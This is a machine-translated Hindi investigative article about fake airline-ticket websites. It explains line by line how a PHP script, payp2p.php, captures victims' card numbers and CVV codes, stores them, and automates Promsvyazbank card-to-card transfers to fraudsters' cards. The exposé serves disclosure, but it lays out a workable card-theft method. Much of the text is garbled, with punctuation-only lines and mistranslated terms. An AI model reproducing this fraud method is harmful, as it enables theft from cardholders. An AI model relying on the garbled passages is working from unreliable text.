💩 🚵🏽 📍 सस्ती उड़ानें ... फर्जी वेबसाइटों का एक नेटवर्क कार्ड से पैसे चुरा रहा है। दूसरी जांच। Promsvyazbank का इससे क्या लेना-देना है? 👓 👴🏾 🏾

लगभग एक महीने पहले, मैंने Geektimes पर एक लेख प्रकाशित किया था, "सस्ती एयरलाइन टिकट ... या धोखाधड़ी वाली साइटों का एक नेटवर्क, जो कार्ड से पैसे चुरा रहा था। मेरी जांच। ” प्रकाशन को एक शानदार प्रतिक्रिया मिली और एक अप्रत्याशित निरंतरता ...

मैं आपको उन लोगों के लिए याद दिलाता हूं जिन्होंने पहले भाग को नहीं पढ़ा है। वास्तविक मामलों के आधार पर एक प्रकाशन में, योजनाओं का वर्णन किया गया था कि धोखाधड़ी करने वाले लोग एयरलाइन टिकट खरीदारों के टिकट चुराते हैं जो नकली टिकट बिक्री साइट पर जाने के लिए लापरवाह थे। RuNet में एयरलाइन टिकटों की बिक्री के लिए ऐसी धोखाधड़ी वाली साइटों की संख्या दसियों और सैकड़ों (बंद सहित) में है। ऐसी साइटों पर, उपयोगकर्ता को पहले उड़ानों के बारे में वास्तविक जानकारी दिखाई जाती है, यह एक आदेश देने और क्रेडिट कार्ड के साथ भुगतान करने का प्रस्ताव है। जब तक हवाई टिकट खरीदारों को पता चलता है कि वे बिना पैसे और बिना टिकट के रह गए हैं, तब तक सब कुछ सुंदर दिखता है।

सभी मामलों में, पैसे चुराने के लिए, ऐसी साइटें कार्ड से कार्ड (P2P) में पैसे ट्रांसफर करने के लिए बैंकों की सेवाओं का उपयोग करती हैं। पहले भाग में, तिनकोव बैंक पृष्ठ को कार्ड से कार्ड पर भुगतान करने के तरीके को किस तरह से प्रच्छन्न और फर्जी वेबसाइटों में एम्बेड किया गया है, ताकि "खरीदार" कुछ भी नोटिस न करें, विस्तार से वर्णन किया गया था। प्रोमेस्वाज़बैंक का भी उल्लेख किया गया था - यह उसके माध्यम से था कि कहानी में वर्णित पीड़ित के कार्ड से पैसे चुराए गए थे। और अगर टीकेएस बैंक के साथ कोई सवाल नहीं बचा था, तो प्रोमस्सिवज़बैंक के मामले में यह स्पष्ट नहीं था कि पैसा कैसे निकाला गया था। पैसे चुराने के लिए इस्तेमाल की जाने वाली मुख्य स्क्रिप्ट को सर्वर साइड पर निष्पादित किया गया था और स्रोत कोड के बिना कोई केवल यह मान सकता था कि यह क्या कर रहा था।

और गीकटाइम्स के उपयोगकर्ताओं में से एक ने मुझसे संपर्क किया और बहुत ही payp2p.php स्क्रिप्ट भेजी, जिसका उपयोग हाल ही में धोखाधड़ी वाली अधिकांश एयरलाइन टिकट बिक्री साइटों पर किया गया था। यह स्क्रिप्ट कार्ड से कार्ड में ट्रांसफर करने के लिए Promsvyazbank सेवा का उपयोग करती है। और मेरी राय में, Promsvyazbank, अपनी सेवा प्रदान करना, जो कि आसान था, मूर्खों की संख्या में वृद्धि करने में योगदान दिया।

संभवतः इसी तरह के अन्य बैंक भी हैं, लेकिन यह प्रकाशन मुख्य रूप से प्रोमस्वाइज़बैंक से निपटेगा।

इससे पहले कि हम स्वयं स्क्रिप्ट का विश्लेषण शुरू करें, आइए देखें कि एक जालसाज़ वेबसाइट का भुगतान पृष्ठ कैसा दिखता था और एक कार्ड से प्रोमोविज़बैंक कार्ड में अनुवाद पृष्ठ कैसा दिखता है।

यह धोखाधड़ी वाली साइटों पर भुगतान पृष्ठ की तरह दिखता था

इस भुगतान पृष्ठ के HTML कोड का विश्लेषण करते समय, मुझे किसी भी बैंक के पृष्ठों का कोई भी भाग नहीं मिला, बिल्ट-इन iframes का उपयोग नहीं किया गया है, लिपियों का उपयोग बिल्कुल नहीं किया गया है, और पृष्ठ स्वयं बहुत सरल है और Promsvybbank के पृष्ठ की तरह नहीं दिखता है। प्रपत्र में दर्ज किए गए डेटा को स्क्रिप्ट द्वारा नहीं, बल्कि ब्राउज़रों में निर्मित तंत्र द्वारा - इनपुट पैटर्न फ़ील्ड के लिए "पैटर्न" और "आवश्यक" विशेषताओं का उपयोग करके और ड्रॉप-डाउन सूचियों के लिए जाँच की जाती है। यानी यहां तक कि स्थानीय ड्राइव पर ब्राउज़र में संग्रहीत पेज "ऑपरेशनल" रहता है और इसका उपयोग यह परीक्षण करने के लिए किया जा सकता है कि मैप डेटा को कैसे इंटरसेप्ट किया गया है। पहले से सहेजे गए एक समान पृष्ठ का उपयोग इस प्रकाशन के हिस्से के रूप में किया गया था ताकि यह समझ सके कि स्क्रिप्ट कैसे काम करती है।

वास्तव में, यह पृष्ठ कार्ड नंबर दर्ज करने का एक रूप है। जब फॉर्म की पुष्टि हो जाती है, तो प्रसंस्करण को payp2p.php प्रोग्राम में स्थानांतरित कर दिया जाता है।

<form class="b-card-feature-list clearfix" id="formPay" action="payp2p.php" method="post">

Payp2p.php कुछ भी कर सकता है। उसका कोड पहले हमारे लिए अनुपलब्ध था, क्योंकि यह सर्वर की तरफ से चलता है। लेकिन जैसा कि मैंने पहले ही लिखा था, अब हमारे पास एक कोड है, और हम सब कुछ जान जाएंगे।

अब देखते हैं कि Promsvyazbank की साइट पर कार्ड से कार्ड तक भुगतान पृष्ठ कैसा दिखता है।

https://www.psbank.ru/Personal/eCommerce/Card2Card

जैसा कि आप देख सकते हैं, Promsvyazbank पृष्ठ पहले प्रस्तुत किए गए भुगतान पृष्ठ की तरह बिल्कुल नहीं है। यहां तक कि कार्ड नंबर के लिए इनपुट फ़ील्ड की संख्या मेल नहीं खाती।

आइए PSB पेज के HTML कोड को देखें कि यह कैसे काम करता है। हम सभी को पता है कि इन कुछ लाइनों में है:

<iframe name="card2card" src="https://3ds.payment.ru/P2P/card_form.html" height="100%" width="100%" frameborder="no" seamless scrolling="no">
</iframe>

इस टुकड़े का अर्थ है कि वास्तविक भुगतान पृष्ठ एक अलग डोमेन पर स्थित है, और जो हम Promsvyazbank की वेबसाइट पर देखते हैं, वह iframe तकनीक का उपयोग करके "विंडो" में प्रदर्शित होता है।

मुझे आश्चर्य है कि 3ds.payment.ru डोमेन का मालिक कौन है।

Whois.

3ds.payment.ru
IP 193.200.10.116
: PRSBM-NET
:
inetnum: 193.200.10.0 - 193.200.10.255
netname: PRSBM-NET
mnt-by: PROMSVYAZBANK-MNT

C online.payment.ru

3ds.payment.ru डोमेन भी Promsvyazbank का है। हम इस डोमेन को याद रखेंगे, यह अभी भी एक से अधिक बार विवरण में पाया जाएगा।

आइए देखें कि प्रोमेस्वाज़बैंक जो पेज अपनी साइट पर एम्बेड करता है, और संभवतः कुछ अन्य साइटें हैं।

https://3ds.payment.ru/P2P/card_form.html

यह एक वास्तविक पृष्ठ है जो कार्ड से कार्ड में स्थानान्तरण के लिए उपयोग किया जाता है। जैसा कि आप देख सकते हैं, यह पृष्ठ सीमा रहित है। यह अन्य साइटों में बनाने के लिए इसे और अधिक सुविधाजनक बनाने के उद्देश्य से किया गया है।

इस पृष्ठ के HTML कोड में हम इस भाग में रुचि रखते हैं:

ये सेवा जानकारी संग्रहीत करने के लिए छिपे हुए इनपुट फ़ील्ड हैं। हम इस पृष्ठ को भी याद रखेंगे। और जहां इसका उपयोग किया जाता है, उसे बाद में वर्णित किया जाएगा।

परिचयात्मक भाग खत्म हो गया है, चलो सबसे दिलचस्प भाग पर चलते हैं और देखते हैं कि payp2p.php स्क्रिप्ट कैसे काम करती है या कैसे काम करती है।

स्क्रिप्ट सरल है और इसे समझने के लिए PHP प्रोग्रामिंग भाषा के किसी भी गहन ज्ञान की आवश्यकता नहीं है। सुविधा के लिए, मैंने इसे टुकड़ों में तोड़ दिया। बाईं ओर पंक्ति संख्याएँ हैं जिन्हें संदर्भित किया जा सकता है। स्क्रिप्ट पूरी तरह से अपरिवर्तित है जिस रूप में इसे प्राप्त किया गया था। कोड के प्रत्येक टुकड़े के बाद, प्रोग्राम निष्पादन के दौरान एक डिक्रिप्शन और चर के मूल्यों का एक उदाहरण प्रस्तुत किया जाएगा (यानी डीबगिंग के समान कुछ)। कुछ स्थानों पर, अत्यधिक टिप्पणी संभव है - ऐसा इसलिए किया जाता है ताकि गैर-प्रोग्रामिंग पाठक भी प्रोग्राम कोड के अर्थ को समझ सकें।

परीक्षण के लिए, हमें एक फ़ॉर्म की आवश्यकता है जिसमें आपको कार्ड डेटा दर्ज करना होगा जिसके साथ भुगतान करना है। हम पहले से सहेजे गए फॉर्म का उपयोग करेंगे। एक धोखाधड़ी साइट पर जैसा दिखता था वह लेख की शुरुआत में चित्र में दिखाया गया है। प्रपत्र के बारे में नीचे लिखा जाएगा। परीक्षण के लिए, कार्ड नंबर 1111.2222.3333.4444 दर्ज करें।

चलिए शुरू करते हैं।

पंक्ति 3 - किसी आदेश को निष्पादित नहीं करता है।
पंक्ति 4 - एक अलग dbconfig.php फ़ाइल भरी हुई है जिसमें MySQL डेटाबेस से कनेक्ट करने के लिए पैरामीटर संग्रहीत हैं। Dbconfig.php कोड का स्क्रीनशॉट और उसका विश्लेषण नीचे दिया गया है।
लाइन 6 - हम MySQL सर्वर से कनेक्ट होते हैं, जिसके डेटाबेस में हम चोरी किए गए कार्ड और किए गए मनी ट्रांसफर के बारे में डेटा स्टोर करेंगे। यह लाइन एक साथ MySQL सर्वर से जुड़ती है और अगर किसी कारण से कनेक्शन विफल हो जाता है तो प्रोग्राम से बाहर निकल जाती है।
पंक्ति 11 - MySQL डेटाबेस के साथ काम करने के लिए एन्कोडिंग का चयन करें।
लाइन 13 - हम पहले MySQL सर्वर से जुड़े थे, अब हम उस डेटाबेस का चयन करते हैं जिसके साथ हम काम करेंगे।

Payp2p.php स्क्रिप्ट एक धोखेबाज उपयोगकर्ता के पेज पर एक फॉर्म भरने के बाद अपना काम शुरू करती है जो एक नियमित पेज के पेज के समान है। फ़ॉर्म पर "पे" बटन पर क्लिक करके, payp2p.php स्क्रिप्ट फॉर्म में दर्ज डेटा प्राप्त करता है। फॉर्म से स्क्रिप्ट तक डेटा POST विधि का उपयोग करके प्रसारित किया जाता है।

लाइन 16 - पिछले पृष्ठ पर फॉर्म में दर्ज किया गया क्रेडिट कार्ड नंबर $ num वैरिएबल में सहेजा गया है।
लाइन 17 - कार्ड की वैधता अवधि का महीना / वर्ष $ तिथि चर में संग्रहीत किया जाता है।
लाइन 18 - कार्ड का CVV कोड $ cvv वैरिएबल में सेव होता है।
लाइन 19 - $ कोड चर में, एक निश्चित कोड "एयरलाइन टिकट के लिए ऑर्डर" देते समय पहले उत्पन्न होता है। इस कोड का उपयोग किया जाता है ताकि उपयोगकर्ता एक विशेष लिंक के माध्यम से अपने आदेश को देख सके। समान कोड का उपयोग ऑर्डर को पहचानने के लिए किया जाता है (भुगतान पृष्ठ पर, स्वचालित रूप से भुगतान के लिए राशि प्रदर्शित करने के लिए; यदि स्कैमर्स द्वारा "सेल्स बुक" को सहेजते समय सहेजा जाता है; यह कोड भुगतान फ़ॉर्म में भी प्रेषित होता है, संभवतः एक ट्रांसफर पहचानकर्ता के रूप में (नीचे देखें)।
लाइनें 21-22 एक रेखा बनती है - एक SQL क्वेरी, जिसे तब निष्पादित किया जाता है। एसक्यूएल क्वेरी तालिका 'कार्ड' से ऑर्डर आइडेंटिफायर, राशि, कार्ड की वैधता अवधि, कार्ड का सीवीवी कोड और सटीक वर्तमान समय के मूल्यों को जोड़ता है। डेटाबेस में रिकॉर्ड का एक उदाहरण नीचे है।

डिबगिंग सूचना उदाहरण

« » « ». , . .

"âáèâ" = '' ISO8859-1 =>Windows-1251
, . .

अस्थायी रूप से हमारे ध्यान को अस्थायी रूप से dbconfig.php फ़ाइल में बदल दें।

यहाँ डेटाबेस से कनेक्ट करने के लिए पैरामीटर हैं। क्या दिलचस्प हो सकता है:

DBHOST — , MySQL ( MySQL , , )
DBNAME —
DBUSER — MySQL
DBPASS — MySQL
SECURE_AUTH_KEY — - . , , , . .

लाइन 28 - एक तृतीय-पक्ष aviacfg.php फ़ाइल जुड़ी हुई है। यह एक कॉन्फ़िगरेशन फ़ाइल है जो प्राप्तकर्ता कार्ड नंबर और अन्य सेटिंग्स संग्रहीत करता है।
लाइन 29 - कॉन्फ़िगरेशन फ़ाइल में लाइन ब्रेक द्वारा अलग किए गए कार्ड नंबरों से एक सरणी बनाई जाती है।
लाइन 30-31 - चर $ crd को बेतरतीब ढंग से एक कार्ड की संख्या सौंपी जाती है।

आइए देखें कि हमारे पास aviacfg.php फ़ाइल में क्या है

यहां हम देखते हैं कि चर $ aviacfg एक ऐसा सरणी है जिसमें छूट (छूट) और कार्ड (कार्ड संख्या जिसके लिए निकासी की उम्मीद की जाती है) के मूल्य शामिल हैं। इस उदाहरण में, केवल एक कार्ड नंबर है, लेकिन उनमें से कोई भी संख्या हो सकती है। फ़ाइल (aviacfg.php) और चर ($ aviacfg) का नाम ही इंगित करता है कि यह स्क्रिप्ट किस क्षेत्र के लिए तेज की गई थी। डिस्काउंट मूल्य एक धोखाधड़ी वेबसाइट पर कीमतों का प्रतिशत निर्धारित करता है, जो वास्तव में "ईमानदार" एयरलाइन वेबसाइट पर बेचे जाने की तुलना में सस्ता दिखाया जाएगा। एक जालसाज़ वेबसाइट का मालिक टिकटों की प्रदर्शित कीमत को जल्दी सस्ता कर सकता है। प्रदर्शित मूल्य कम, संभावित खरीदारों में से एक अपरिचित साइट पर टिकट खरीदने का जोखिम उठाएगा। छूट के बारे में बाद में एक टिप्पणी होगी कि यह कैसे कोड में लागू किया गया है।

इसके अलावा, हस्तांतरण राशि, कार्ड की संख्या जिसमें स्थानांतरण किया जाता है, और एक धोखाधड़ी वेबसाइट पर एयरलाइन टिकट के लिए आदेश की पहचान करने वाला कोड MySQL डेटाबेस में संग्रहीत किया जाता है। डेटाबेस में रिकॉर्ड का एक उदाहरण नीचे प्रस्तुत किया जाएगा।

डिबगिंग सूचना उदाहरण

लाइन 40 - वेरिएबल $ p112 को कार्ड नंबर के साथ एक मान दिया जाता है जो पहले फॉर्म में दर्ज किया गया था।
लाइन्स 41-51 - कार्ड नंबर को चार अंकों के भागों में विभाजित किया गया है।
लाइनें 53-57 - कार्ड नंबर की लंबाई की जाँच की जाती है। यदि कार्ड संख्या में वर्णों की संख्या 16 या 18 से भिन्न होती है, तो एक निकास होता है। पांच सेकंड के लिए एक संदेश प्रदर्शित किया जाता है, फिर दूसरे पृष्ठ पर रीडायरेक्ट किया जाता है। इस उदाहरण में, धोखाधड़ी साइट पर ऑर्डर पृष्ठ पर वापसी होगी।
पंक्ति 56 में "Iaaa? Iua aaiiua ea? Ou" जब एन्कोडिंग ISO8859-1 => Windows-1251 में परिवर्तित होता है, तो यह पाठ से मेल खाता है: "अमान्य कार्ड डेटा।"
लाइन्स 58-61 - चर $ p4, $ p5, $ p6, $ p11 को फॉर्म में दर्ज किए गए मान (कार्ड समाप्ति तिथि, सीवीवी कोड, भुगतान राशि) सौंपे जाते हैं।
लाइन 63 - $ चर जानकारी में सभी कार्ड डेटा और ट्रांसफर राशि बच जाती है। बनाते समय, लाइन "\ n" और विभाजक "### ..." का उपयोग किया जाता है। इस चर का उपयोग कहीं और नहीं किया जाता है। स्क्रिप्ट को अंतिम रूप देते समय, इसका उपयोग नियमित पाठ फ़ाइल में रिकॉर्ड को बचाने या डिबगिंग के दौरान प्रदर्शित करने के लिए किया जा सकता है।

डिबगिंग सूचना उदाहरण

लाइनें 66-75 - यह वास्तव में 27-36 लाइनों के ब्लॉक का दोहराव है। एक बार फिर, रिसीवर कार्ड को aviacfg.php कॉन्फ़िगरेशन फ़ाइल से यादृच्छिक रूप से चुना जाता है, और यह सब card_balance डेटाबेस तालिका में सहेजा जाता है। इस प्रकार, card_balance तालिका में, हस्तांतरण के प्रत्येक प्रयास के साथ, दो रिकॉर्ड बनाए जाएंगे। यदि केवल एक प्राप्तकर्ता कार्ड को aviacfg.php में रखा जाता है, तो यादृच्छिक नमूने के साथ, निश्चित रूप से, एक ही कार्ड हमेशा चुना जाएगा। इस स्थिति में, card_balance तालिका में प्रविष्टियों को केवल डुप्लिकेट किया जाएगा। लेकिन अगर मामले में कई कार्ड नंबर aviacfg.php में अंकित किए जाते हैं, तो रैंडम सैंपलिंग के साथ परिणाम अलग-अलग होंगे और कार्ड_बलेंस टेबल में एक रिकॉर्ड होगा, पहला गलत है और दूसरा सही है।

यह एक गलती है, और स्क्रिप्ट के खरीदार (उनके बारे में एक अलग टिप्पणी होगी) डेवलपर को इस तथ्य से जुड़े नैतिक क्षति की भरपाई करने के लिए कह सकते हैं कि वास्तविक अनुवाद लॉग प्रविष्टियों की तुलना में कम से कम दो गुना कम हैं।

डिबगिंग सूचना उदाहरण

उदाहरण MySQL डेटाबेस प्रविष्टियाँ

. : «card» «card_balance». , .

, , — . .

«card».

«card_balance».

कृपया ध्यान दें कि पहले मामले में, बिना राशि वाले केवल प्रेषक कार्ड, लेकिन सटीक समय के साथ, MySQL डेटाबेस तालिका में संग्रहीत किए जाते हैं, और दूसरे मामले में, किए गए स्थानान्तरण के बारे में डेटा (अधिक सटीक रूप से, स्थानान्तरण के प्रयासों के बारे में) सहेजा जाता है। प्राप्तकर्ता का कार्ड नंबर और राशि बच जाती है, प्रेषक का डेटा दूसरी तालिका में सहेजा नहीं जाता है। दोनों ही मामलों में, "ऑर्डर आईडी" अतिरिक्त रूप से संग्रहीत है।

स्क्रिप्ट का पहला भाग, जिसे ऊपर वर्णित किया गया था, को मनमाने ढंग से "लेखांकन के लिए बिक्री पुस्तक में प्रविष्टि" कहा जा सकता है। पैसे के हस्तांतरण से उसका कोई संबंध नहीं है। पैसे ट्रांसफर करने के लिए, आप डेटा को डेटाबेस में सेव किए बिना कर सकते हैं। फिर भी, हम देखते हैं कि कार्ड डेटा सहेजा जाता है, जिसका अर्थ है कि भविष्य में उन्हें "मैन्युअल मोड में" कार्ड से पैसे चोरी करने के लिए इस्तेमाल किया जा सकता है। कार्ड डेटा बेचा या इस्तेमाल किया जा सकता है, उदाहरण के लिए, Yandex.Direct में विज्ञापन के लिए भुगतान करने के लिए, जैसा कि पिछले लेख में दिखाया गया है।

स्क्रिप्ट का दूसरा भाग Promsvyazbank 3ds.payment.ru की साइट के माध्यम से धन के हस्तांतरण से संबंधित है।

टिप्पणी की लाइन 78 इंगित करती है कि यह माना जाता है कि एक सफल भुगतान के लिए पुष्टिकरण पृष्ठ पर "/sus.php?cd=BX3FKT" जैसे पते हैं। सफल होने पर, उपयोगकर्ता को इस पते पर लौटना होगा।

लाइन 80-91 अनुवाद करने के लिए, आपको पहले सर्विस पेज पर जाना होगा।

https://3ds.payment.ru/cgi-bin/get_trans_cond_p2p।

यह पृष्ठ कुछ इस तरह प्रदर्शित करता है:

{"ORDER_NUM":"20161027070425023400","TIMESTAMP":"20161027070425"}

"ORDER_NUM" ~ "ऑर्डर नंबर" है, "TIMESTAMP" वर्तमान समय की मोहर है। यदि पृष्ठ ताज़ा किया जाता है, तो नया डेटा हमेशा जारी किया जाता है।

वेब पेज पढ़ने या वेब पेज पर डेटा भेजने के लिए, कर्ल कमांड का उपयोग करें। कर्ल (cURL) आपको http और https सहित विभिन्न प्रोटोकॉल का उपयोग करके प्रोग्राम को वेब सर्वर से कनेक्ट करने की अनुमति देता है। हमारे मामले में, कर्ल एक सॉफ्टवेयर वेब ब्राउज़र है जो वेब पेजों को चरों तक सहेज सकता है। चर में संग्रहित पृष्ठ इस पृष्ठ के HTML स्रोत कोड के साथ एक बहुत लंबी रेखा है। आप इस तरह के स्ट्रिंग चर के साथ किसी भी स्ट्रिंग के साथ काम कर सकते हैं - आप पाठ की खोज कर सकते हैं, पाठ की जगह ले सकते हैं, आदि। वर्णित लिपियों में कर्ल का उपयोग कई बार किया जाएगा।

लाइन 80 - URL $ login_url वैरिएबल में संग्रहित है।
पंक्ति 81 - URL $ एजेंट चर में संग्रहीत है।
पंक्ति 82 - cURL सत्र प्रारंभ करता है।
पंक्ति 83-90 - पैरामीटर सत्र के लिए CURL के साथ सेट किए गए हैं (पृष्ठ का पता पहले से लॉगिन $ login_url में; ब्राउज़र पहचानकर्ता पहले $ एजेंट में संग्रहीत; पृष्ठ जिससे पृष्ठ पुनर्निर्देशित किया गया हो या अन्यथा संदर्भित हो; REFERER; COOKIE सेटिंग्स, आदि)
पंक्ति 91 - Curl_exec कमांड के परिणामस्वरूप, एक वेब पेज प्रोग्रामेटिक रूप से प्राप्त किया जाएगा, जिसे $ पेज वेरिएबल में सेव किया जाएगा।
लाइनें 93-95 सहेजे गए वेब पेज $ पृष्ठ में ~ "आदेश संख्या" ORDER_NUM है, जो चर $ ord में संग्रहीत है।
लाइन्स 96-98 सहेजे गए $ पृष्ठ वेबपेज में टाइमस्टैम्प टाइमस्टैम्प शामिल है, जो $ टिम चर में संग्रहीत है।

डिबगिंग सूचना उदाहरण

अब एक “सॉफ्टवेयर ब्राउज़र” पेज पर जाने की जरूरत है https://3ds.payment.ru/P2P_ACTION/card_form.html। यह वही भुगतान पृष्ठ है, जिसका एक स्क्रीनशॉट ऊपर दिखाया गया था। यह एक पृष्ठ है जिसमें एक प्रपत्र, सेवा क्षेत्रों का एक हिस्सा छिपा हुआ है। छिपे हुए इनपुट फ़ील्ड के साथ HTML कोड का हिस्सा ऊपर दिखाया गया था। फॉर्म जमा करते समय बाद में इनका उपयोग करने के लिए इन छिपे हुए क्षेत्रों के कुछ मूल्यों को याद रखने की आवश्यकता होती है।

पंक्ति 99 - हम पृष्ठ का पता चर $ url में सहेजते हैं।
लाइन 100 - URL के साथ सत्र के पैरामीटर सेट किए गए हैं (इस मामले में, केवल पृष्ठ का पता। बाकी सेटिंग्स समान हैं)।
लाइनें 101-102 पहले उपयोग किए गए चर $ पृष्ठ और $ भाग हटा दिए गए हैं।
लाइन 103 - curl_exec कमांड के परिणामस्वरूप, एक वेब पेज प्रोग्रामेटिक रूप से प्राप्त किया जाएगा, जिसे $ पेज वेरिएबल में सेव किया जाएगा।
लाइनें 104-106 सहेजी गई $ पृष्ठ वेब पेज में TERMINAL फ़ील्ड का मान होता है, जिसे चर $ अवधि में संग्रहीत किया जाता है।
लाइनें 107-109 सहेजी गई $ पृष्ठ वेब पेज में TRTYPE फ़ील्ड का मान होता है, जो $ प्रकार चर में संग्रहीत होता है।
लाइनें 110-112 सहेजे गए $ पृष्ठ वेब पेज में MERCHANT फ़ील्ड का मान होता है, जो $ मर्च चर में संग्रहीत होता है।
लाइन्स 113-115 सहेजे गए $ पृष्ठ वेब पेज में EMAIL फ़ील्ड का मान होता है, जो $ ml वैरिएबल में संग्रहीत होता है।

सामान्य तौर पर, संकेतित रूप में ये मान कभी नहीं बदलते हैं। और उन्हें कोड में स्थिरांक के रूप में बचाया जा सकता है और हर बार प्राप्त नहीं किया जाता है। जाहिर है, इन क्षेत्रों के मूल्यों को प्राप्त करना अतिरिक्त सुरक्षा के लिए किया जाता है, जब भविष्य में एक या अधिक क्षेत्र बदलते हैं।

कुछ क्षेत्रों का वर्णन। सभी क्षेत्रों का पूरा विवरण Google में खोजना आसान है।

टर्मिनल - आउटलेट के वर्चुअल टर्मिनल की अद्वितीय संख्या
MERCH_NAME -
बिक्री के बिंदु का नाम MERCHANT - बैंक द्वारा निर्दिष्ट आउटलेट का नंबर
TRTYPE - अनुरोधित लेनदेन का प्रकार (भुगतान - 1, रद्द - 22, पूर्व-प्राधिकरण - 0, बस्तियों का समापन - 21)
ईमेल - ई-मेल पता अलर्ट भेजने के लिए

डिबगिंग सूचना उदाहरण

, - . ($page)

EMAIL यहाँ, यह एक महाकाव्य मामला है। कौन बिगाड़ता है, स्पॉइलर के तहत आवेदन में लेख के अंत में इस EMAIL के बारे में अतिरिक्त सामग्री।

यहां हमें एक बड़ा ब्लॉक दिखाई देता है। तथ्य यह है कि यह बड़ा दिखता है, प्रकाशन में सीमित स्तंभ चौड़ाई और स्क्रिप्ट लेखक द्वारा कोड की सुविधाजनक प्रस्तुति द्वारा समझाया गया है। सभी को कोड की 10 लाइनों में रखा जा सकता है, लेकिन कोड को पढ़ने और संपादित करने की सुविधा को नुकसान होगा।

लाइन 120 - वेरिएबल में $ url पेज का एड्रेस सेव करता है।
लाइन 121-123 - URL के साथ एक सत्र के लिए पैरामीटर सेट करें।
लाइन 124 - स्ट्रिंग चर $ crd में प्राप्तकर्ता के कार्ड नंबर से $ ncrd का एक सरणी बनाया जाता है, जिसमें कार्ड की संख्या के चार भाग होंगे।
पंक्ति 125 - HTTP हेडर $ हेडर सरणी चर में संग्रहीत किए जाते हैं।
लाइन 126 - पैरामीटर CURL के साथ सत्र के लिए सेट किए गए हैं ($ शीर्ष लेख चर से HTTP हेडर।
लाइनें 135-164 - एक $ पोस्टल सरणी बनाई गई है, जिसका प्रत्येक मूल्य भुगतान पृष्ठ पर प्रपत्र फ़ील्ड के अनुरूप होगा। प्रेषक कार्ड संख्या चार से विभाजित; प्रेषक कार्ड समाप्ति तिथि ; प्रेषक का सीवीसी कार्ड; चार तरफा प्राप्तकर्ता कार्ड नंबर; प्राप्तकर्ता का कार्ड समाप्ति तिथि; प्राप्तकर्ता का सीवीसी कार्ड; भुगतान राशि; "आदेश संख्या"; पुष्टि पृष्ठ के लिए विवरण; टर्मिनल संख्या; बिक्री नाम का बिंदु; सूचनाओं के लिए ईमेल; समय टिकट। ; प्रेषक कार्ड नंबर भागों में नहीं टूटा; प्राप्तकर्ता कार्ड नंबर भागों में नहीं टूटा, सॉफ्टवेयर और हार्डवेयर पर "प्रेषक के कंप्यूटर पर", एक वास्तविक उपयोगकर्ता की उपस्थिति बनाने के लिए डिज़ाइन किया गया, स्क्रिप्ट नहीं)।
लाइनें 135 - पैरामीटर सत्र के लिए सेट किए गए हैं (HTTP POST अनुरोध में प्रेषित डेटा। इस मामले में, $ postL सरणी एक स्ट्रिंग में बदल जाती है, जो एक url- एन्कोडेड स्ट्रिंग है, जैसे 'p1=val1&p2=val2&...'।

अधिक स्पष्ट रूप से प्रेषित डेटा नीचे डिबग जानकारी के साथ स्क्रीनशॉट में दिखाया गया है।

डिबगिंग सूचना उदाहरण

लाइन 166 - curl_exec कमांड के परिणामस्वरूप, तैयार किए गए डेटा को POST विधि का उपयोग करके वेब पेज फॉर्म में भेजा जाएगा। एक वेब पेज के लिए, इस तरह का सबमिशन बिल्कुल वैसा ही दिखेगा जैसा कि एक नियमित उपयोगकर्ता ने भरा और एक नियमित ब्राउज़र में फ़ॉर्म की पुष्टि की। प्रपत्र में डेटा भेजने के परिणाम वाला पृष्ठ चर $ पृष्ठ में सहेजा जाएगा।
पंक्ति 167 - CURL सत्र समाप्त होता है।
लाइन 168 - परिणामी पृष्ठ में, जो चर $ पृष्ठ में संग्रहीत है, और जैसा कि हम याद करते हैं, एक लंबी लाइन है, विकल्प "त्रुटि" खोजा गया है।
पंक्तियाँ 169-173 - यदि विकल्प "त्रुटि" पाया जाता है, तो 5 सेकंड के लिए त्रुटि संदेश "कार्ड फिट नहीं होता है" प्रदर्शित होता है और फिर स्क्रिप्ट बाहर निकलती है और ब्राउज़र में प्रदर्शित पृष्ठ को "ऑर्डर पृष्ठ" पर पुनर्निर्देशित करती है। यदि उपयोगकर्ता लगातार है, तो वह एक बार फिर भुगतान प्रक्रिया से गुजरने की कोशिश कर सकता है।

किसी भी त्रुटि के मामले में प्रदर्शित पृष्ठ।

त्रुटियों के कारण जो बैंक के मुद्दे भिन्न हो सकते हैं (कार्ड संख्या में त्रुटि, अपर्याप्त धन, एक प्राधिकरण त्रुटि, और अन्य अन्य)। लेकिन स्क्रिप्ट payp2p.php के लिए कोई अंतर नहीं है। एक बार भुगतान विफल हो जाने के बाद, इसका अर्थ है कि उपयोगकर्ता उस पृष्ठ पर पुनर्निर्देशित हो गया है जहाँ से आप भुगतान करने के प्रयास को दोहरा सकते हैं। जिस पृष्ठ पर त्रुटि दी गई है उसे कार्य के आधार पर आसानी से बदला जा सकता है।

उदाहरण HTML कोड त्रुटि के मामले में, बैंक पृष्ठ द्वारा लौटाया जाता है

<!DOCTYPE html>

<head>
<base href="/">
<script src="/netcetera/netcetera.js"></script>
<script src="/riskminder-client.js"></script>
<script>
    function redirect(rctext, ext_diag_code){
	if (rctext == "Call your bank"){
		window.top.location = "http://www.psbank.ru/Card2Card/CallYourBank";
	} else if (rctext == "Your card is restricted"){
		window.top.location = "http://www.psbank.ru/Card2Card/ForbiddenTransaction";
	} else if (rctext == "Your card is disabled"){
		window.top.location = "http://www.psbank.ru/Card2Card/BlockedCard";
	} else if (rctext == "Invalid amount" || rctext == "Error in amount field" || rctext == "Wrong original amount"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectAmount";
	} else if (rctext == "Re-enter transaction"){
		window.top.location = "http://www.psbank.ru/Card2Card/Retry";
	} else if (rctext == "Expired card"){
		window.top.location = "http://www.psbank.ru/Card2Card/ExpiredCard";
	} else if (rctext == "Not sufficient funds"){
		window.top.location = "http://www.psbank.ru/Card2Card/InsufficientBalance";
	} else if (rctext == "Exceeds amount limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/AmountOverlimit";
	} else if (rctext == "Exceeds frequency limit"){
		window.top.location = "http://www.psbank.ru/Card2Card/QuantityOverlimit";
	} else if (rctext == "Error in card number field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectNumber";
	} else if (rctext == "Error in card expiration date field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectExpiresDate";
	} else if (rctext == "Error in currency field"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectCurrency";
	} else if (rctext == "Authentication failed" && ext_diag_code == "AS_FAIL"){
		window.top.location = "http://www.psbank.ru/Card2Card/IncorrectPassword";
